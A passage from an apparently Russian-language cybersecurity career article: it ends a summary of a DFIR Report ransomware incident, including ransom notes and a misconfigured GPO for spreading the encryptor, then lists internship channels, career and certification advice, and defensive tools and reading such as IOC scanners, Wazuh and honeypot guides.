После завершения процесса шифрования файлы с требованием выкупа были размещены в C:\Users\Default\HOW_TO_DECRYPT.txt.

Атакующий также настроил групповую политику (GPO) для распространения шифровальщика по всему домену, но ошибся, создав политику для пользователей вместо GPO для компьютеров. 

На этом мы закончим анализ отчета, полную версию на английском языке можно прочитать на сайте thedfirreport.com.

Стажировки

Различные компании довольно часто проводят стажировки, и ниже мы подобрали ресурсы, где можно наблюдать за появлением наборов на новые стажировки:

• https://t.me/RuSecJobs
• https://t.me/tinkoffjobs
• https://t.me/PositiveEventsChat

Изучите дорожные карты ИБ-специалиста. Поищите дорожные карты в открытом доступе, составленные специалистами, которые прошли свой путь и знают, чем поделиться с новичками. Пример такой дорожной карты можно посмотреть здесь: Схема карьерных треков в кибербезопасности. 

Приглядитесь к сертификациям, которые котируются у работодателей. Сертификации могут дать понимание, в каких знаниях вы западаете, а при их прохождении - позволить работодателю взглянуть на вас под другим углом. Одни из известных сертификаций предлагает институт SANS - GIAC Certifications. Впрочем, вы можете поискать и те сертификации, которые будут интересны вам.

Вещи позволяющие стать лучше:

Не ищите теорию, ищите практику. Именно на практике вы можете позволить себе нащупать интересные моменты в сфере, отточить навыки, находить пробелы и совершенствоваться. 

Проходите сертификации, направленные на практические навыки. Это не только улучшает ваши умения, но и все больше приобретает популярность в коммьюнити и у работодателей.

Дополнительные ресурсы и материалы

1. https://github.com/Neo23x0/Loki - сканер IOC 
2. https://github.com/socprime/soc_workflow_app_ce 
3. https://github.com/deepfence/ThreatMapper
4. https://github.com/ivre/ivre 
5. https://github.com/nccgroup/ScoutSuite - аудит облачных провайдеров
6. https://4sysops.com/tag/security/
7. https://cyberwardog.blogspot.com/
8. https://jordanpotti.com/2017/11/06/honey-accounts/
9. https://medium.com/@olafhartong/endpoint-detection-superpowers-on-the-cheap-threat-hunting-app-a92213f5e4b8
10. https://documentation.wazuh.com/
11. https://socfortress.medium.com/part-3-wazuh-manager-install-log-analysis-e819f28b0f9e
12. https://www.sans.org/white-papers/33901/
13. https://github.com/jassics/awesome-aws-security
14. https://github.com/archerysec/archerysec
15. https://sysdig.com/blog/how-to-honeypot-vcluster-falco/
16. https://malware.news/t/building-honeypots-with-vcluster-and-falco-episode-ii/80713
17. https://linkmeup.ru/blog/1188/
18. https://www.nextron-systems.com/thor-lite/